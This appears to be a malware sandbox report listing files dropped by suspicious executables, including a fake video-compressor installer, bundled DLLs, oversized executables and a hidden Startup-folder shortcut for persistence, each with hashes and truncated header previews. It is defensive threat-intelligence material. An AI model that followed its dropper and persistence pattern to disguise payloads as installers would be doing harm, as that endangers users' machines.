Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\is-QPPD9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\is-TS51E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.5257884005400015
Encrypted:	false
SSDEEP:	6144:JmuFcP82IqE5RSbvQpYVgMW2i32blpDW2pmoZ1:JmuFc02IqE7SbLVgR1O
MD5:	C1D465E061D7D02895DAEB19BDB28AC9
SHA1:	5E729EE51DF080545C7031D771B85094A2B2D4E9
SHA-256:	777917D30F277A9E88D8FC04E69B955A2B0BD3F2BCF2E36F7F9CFFEF2583EE60
SHA-512:	438ADAA0AC3AD47621D288E3FF56493CC7DE4E2A89FC5420E246A6045DB79E7CB84A28D3F3420841340AB33BD632F12FDC3A4E9D8EF99601CA9F975B7F8309E1
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#................ ..............a.................................g........ ......................P..Z........j...p..8.......................d............................`......................@................................text...............................`.P`.data...............................@.0..rdata...s.......t..................@.p@.eh_framD....p.......<..............@.0@.bss....H....@........................p..edata..Z....P......................@.0@.idata...j.......l..................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..rsrc...8....p......................@.0..reloc..d........ ..................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\libssl-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\msvcp71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\msvcr71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\nikkovideocompressor32.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2801664
Entropy (8bit):	6.6798536856841375
Encrypted:	false
SSDEEP:	49152:lwWPibKnJknp/+ZcGBA6U2ihgNv7jkYntZ+1yDPFvxkPwQCw6xVw6:igcac9PgNDjkYnDDPFvxkPwQCw6xl
MD5:	88358DF4622A848ED7CAC0AB99820809
SHA1:	6BCD70B11E11EB331E9DFA362BB61BE6CBAD2F61
SHA-256:	F6AF841921CE9280F3336F58A20C1862EA2F5C7AB844751F1A212EDE573A3D9B
SHA-512:	6A087A6718D8A0953B20778166EB00DD1B46E154EF4737D0F4DDD07B77AB44A1BF03264BB295477E1D9604AC212C21540FBE05028A0A9A07403330DA872F3E80
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[R.L..................".........t."......."...@...........................*......+.......................................".@.....#.XZ............................................................................"..............................text.....".......".................`....rdata...C...."..P....".............@..@.data...xT...0#..0...0#.............@....rsrc....`....#..`...`#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\uninstall\is-RB7TG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719521
Entropy (8bit):	6.515812559418536
Encrypted:	false
SSDEEP:	12288:TQszP8NRMXpc/rPx37/zHBA66pE+4p1YR71CERdH6rN9byOHaOMe3mxyF/:TQQP8YXpc/rPx37/zHBA6plp+51CErKn
MD5:	AAD4748180D644C039A9B3A8F8744CC5
SHA1:	C38D5F7DF518EC21FAF6BCD34DBBAFCB776D73FE
SHA-256:	AC19D5CE61849FA2B090025C3DDA36B14441E3DC99B22CB022251353C9FC2198
SHA-512:	E8AA63191A8E4159E295539214E376DF63BF8DB9AF0829D0E338069783BFC767754238F3AB0875A45F3D99CE9B86895CD0E2D2519F8631E3E5C7FDB26E314E44
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.........................................@..............................................@...............................%........................................................... ......................................................CODE....,........................... ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata....... ......................@..P.reloc..(....0......................@..P.rsrc...............................@..P.....................Z..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Nikko Video Compressor\uninstall\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	InnoSetup Log Nikko Video Compressor, version 0x30, 4533 bytes, 066656\user, "C:\Users\user\AppData\Local\Nikko Video Compressor"
Category:	dropped
Size (bytes):	4533
Entropy (8bit):	4.635471429015311
Encrypted:	false
SSDEEP:	96:5sdWIl4488GpZPtoDlgX9H+eOIhcfgi4cVSQs0LJqjpUyHGaVuP01yn:5sdWY448JpptobHIhcfccVSQ1Jq9UyHA
MD5:	81542DFC8E186DB877FF30FF96E8857F
SHA1:	D36398B240E924FE3ED2DDB488C016E5BD0F9C2F
SHA-256:	D996D3C38BCC417244B491E5D663BD5D79EA4A1B6959DEFEA186532C1C8E1324
SHA-512:	51147CDD6387CDF8A058B41E10F820E97D2ADE0B63EA014BCD94C662C712BFAE997750F81E461DB74174BB8F32C547E675C06CF7F987C3DBAA0F87C8C8D71AB7
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Nikko Video Compressor..........................................................................................................Nikko Video Compressor..........................................................................................................0...........%................................................................................................................o4.........o.&.......Q....066656.user2C:\Users\user\AppData\Local\Nikko Video Compressor..........."...@.. .....P......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User3

C:\Users\user\AppData\Local\Nikko Video Compressor\uninstall\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719521
Entropy (8bit):	6.515812559418536
Encrypted:	false
SSDEEP:	12288:TQszP8NRMXpc/rPx37/zHBA66pE+4p1YR71CERdH6rN9byOHaOMe3mxyF/:TQQP8YXpc/rPx37/zHBA6plp+51CErKn
MD5:	AAD4748180D644C039A9B3A8F8744CC5
SHA1:	C38D5F7DF518EC21FAF6BCD34DBBAFCB776D73FE
SHA-256:	AC19D5CE61849FA2B090025C3DDA36B14441E3DC99B22CB022251353C9FC2198
SHA-512:	E8AA63191A8E4159E295539214E376DF63BF8DB9AF0829D0E338069783BFC767754238F3AB0875A45F3D99CE9B86895CD0E2D2519F8631E3E5C7FDB26E314E44
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.........................................@..............................................@...............................%........................................................... ......................................................CODE....,........................... ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata....... ......................@..P.reloc..(....0......................@..P.rsrc...............................@..P.....................Z..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\MvOwPcqDrYVlvFIqJren.dll

Download File

Process:	C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	310936576
Entropy (8bit):	0.05651048055297013
Encrypted:	false
SSDEEP:	24576:e2JIkJBboEeCn8fhE85ha+M9uf5ThdA2j9Rz8OyI:e2FMhE858Q5lfz
MD5:	4B5D1F601CF2AFDBFF68EB23FAD0123A
SHA1:	AD3566BE4F7F7605437D8530123BBD4EC0B7DB7A
SHA-256:	647CFB35FCAFEF994B883378F804D2BC05C3F8142300DEB8418788B137F4E674
SHA-512:	38F45D3D2FC1AA08E6DA7D2369F46C4D07094A25396110E626D5A3D1C247F8E424D799524F8C4EF55A2E82A5002E9F0E02BBEEE8274F80B2CB54FF2B1509CEEA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....\|.f...........#...#.H...@...............`.....b.....................................@... .........................`....................................0..........................................................t............................text...<F.......H..................`.P`.data........`.......L..............@.`..rdata..@............b..............@.`@.eh_fram.....P.......&..............@.0@.bss....t.............................`..edata..`...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls......... ......................@.0..reloc.......0......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1075200
Entropy (8bit):	7.828820550765554
Encrypted:	false
SSDEEP:
MD5:	8C8AF20BF6536903C1D042CEBEDE6475
SHA1:	8EF42ABC3AD478F6D8C17691FE4CC1975CA43684
SHA-256:	B15BDB0A4D7F265CF4ED7C46668F4CA247347CA2CE4A7689CB8DBB25863F294A
SHA-512:	8F68E5302D07FB74DDE0E42E0D370E1CB7C1D6B0372633FCFAAB95CD1D12F9786C4E44E71B3CC98EEEB60EA10F54497773C3B4AA58AFA5297FAD93A3F11097E0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................P..@...&.......^... ...`....@.. ...............................D....@..................................]..O....`..F#...........................]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc...F#...`...$...B..............@..@.reloc...............f..............@..B.................]......H........D...J..............`.............................................(....&..(......s.........s ........s!........s"........s#...........0...........~....o$....+...0...........~....o%....+...0...........~....o&....+...0...........~....o'....+...0...........~....o(....+...0..<........~.....().....,!r...p.....(...o+...s,............~.....+...0...........~.....+.."........0..&........(....r)..p~....o-...(......t.....+..Vs....(/...t...........(0...*.0..........

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	42EDCF2CC7F40D636E68FBD051495010
SHA1:	ED9D1EF2BAABCB0DC07077D898C49AD269621011
SHA-256:	FE8EF4DA423302A33642DAE79756A7B5CC16F5A24CA61D82C2479B8A7EB14F77
SHA-512:	FE95B973151A2F8CFF3986462D56D8368DDF53B31B45B485B5CE067787501614C657FD75300FF7BF7D1636C69E67C9EFE6F9A141CE8C3F0B8366274209D20334
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9PSDC.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9PSDC.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.363359036723334
Encrypted:	false
SSDEEP:
MD5:	526426126AE5D326D0A24706C77D8C5C
SHA1:	68BAEC323767C122F74A269D3AA6D49EB26903DB
SHA-256:	B20A8D88C550981137ED831F2015F5F11517AEB649C29642D9D61DEA5EBC37D1
SHA-512:	A2D824FB08BF0B2B2CC0B5E4AF8B13D5BC752EA0D195C6D40FD72AEC05360A3569EADE1749BDAC81CFB075112D0D3CD030D40F629DAF7ABCC243F9D8DCA8BFBE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`..............................................................<!.......P.......@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc........P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9PSDC.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp

Download File

Process:	C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	708096
Entropy (8bit):	6.507419471783474
Encrypted:	false
SSDEEP:
MD5:	33358B48CFE67C292BF76ABDDDB63947
SHA1:	FB20D7FB9568C6719F299F379FD96A5298846F9B
SHA-256:	824AA62860F0ACA8A2398FD97169567CA2C4E71CBCBEC1714FA333E8E1D52E4C
SHA-512:	7E66A9FE4AC4DF83307AF6AB2F82F6CDDC9E45899F171BFE5DE763F19832EDDB3C3904D4A81F61F999EB20DC59B77E159D5EE3C6F317D9CEF811DB02686D5D36
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.........................................@..............................................@...............................%........................................................... ......................................................CODE....,........................... ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata....... ......................@..P.reloc..(....0......................@..P.rsrc...............................@..P.....................Z..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314613760
Entropy (8bit):	0.002153493945743197
Encrypted:	false
SSDEEP:
MD5:	B7D419FC07617B934D9D062DB78C1B47
SHA1:	DEA8D4248A027927F0EE57B114BB98B60B776F7F
SHA-256:	3569B810E5FA7F87B796E56E5111605056E326ADC22029CF032709CF85D9386F
SHA-512:	3F75EBD2851D5DB3291F1825068EBBF2B590F9681BE4CC7E916578A056CE122656FEC0DB2595C5D8DCFC21BA945EA87650AB961527C7038EA32B039B0E9AE948
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{.f...............#.v........................@.......................................@... .................................................................h...................................................X................................text....u.......v..................`.P`.data...X............z..............@.0..rdata..X............\|..............@.`@.eh_fram............................@.0@.bss..................................`..idata..............................@.0..CRT....4...........................@.0..tls................................@.0..reloc..h...........................@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\twekgmwoe\todelete

Download File

Process:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	5.2758810818482464
Encrypted:	false
SSDEEP:
MD5:	EDB3EF8E6687F02F90B9402499B12601
SHA1:	E3CACDF1CBA1185C18D8F76860D906D7AD7C4539
SHA-256:	916763E30077772A35A339BB9B6FEFD2DA58001B6B11E3450F00A6A5EAF5A0F3
SHA-512:	23F3ABA45FBAF01A5FB730803160BD0793541E3D743553BED18250F8016CFF071EF3A9408596C53278B1AF3433AA1AA61C04DD76BA0FABF8181E2E7CF7EF666D
Malicious:	false
Reputation:	unknown
Preview:	["C:\\Users\\user\\Documents\\iofolko5\\XO9lsdL5g6aUibu31TDcoBrI.exegmoZLMPgmA7iERod","C:\\ProgramData\\jewkkwnf\\jewkkwnf.exe6Wob1mDxY9zsd70j"]

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Download File

Process:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Sat Sep 21 10:34:06 2024, mtime=Sat Sep 21 10:34:06 2024, atime=Sat Sep 21 10:33:44 2024, length=4249600, window=hide
Category:	dropped
Size (bytes):	1249
Entropy (8bit):	4.88055267227193
Encrypted:	false
SSDEEP:
MD5:	557FAF602FA05D22096DC12BB930E7DF
SHA1:	8EAE5926A393A6F1BB61FE5F8EFC4DE35D9E635F
SHA-256:	609BF6BA613F9C3EB237F01AB284235ABF355A108E8127789B2867054F999220
SHA-512:	CBD55B47C801C63157D2F121E6F5AE90D6AF1279C1B3DFEFA1ADBF5752E2784BB9828FC31B0580F8516CBA750AD100CDE6AA7C70640641E88965E8ECE9587E26
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... .........)......r.........@.....................4.:..DG..Yr?.D..U..k0.&...&.......bBDj...XIm.....#..*........t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG5Y/\..........................=...A.p.p.D.a.t.a...B.P.1.....5YA\..Local.<......EWsG5YA\.............................L.o.c.a.l.....N.1.....5YD\..Temp..:......EWsG5YD\.........................F...T.e.m.p.....f.1.....5YD\..POWERE~1..N......5YD\5YD\..........................(...P.o.w.e.r.E.x.p.e.r.t.N.N.T.....r.2...@.5Y7\ .POWERE~1.EXE..V......5YD\5YD\..............................P.o.w.e.r.E.x.p.e.r.t.N.N.T...e.x.e.......q...............-.......p...........W.h......C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe....P.o.w.e.r.E.x.p.e.r.t.N.N.T.>.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.P.o.w.e.r.E.x.p.e.r.t.N.N.T.\.P.o.w.e.r.E.x.p.e.r.t.N.N.T...e.x.e.........\|....I.J.H..K..:...`.......X.......066656...........hT..CrF.f4... .\|.E._c...,...

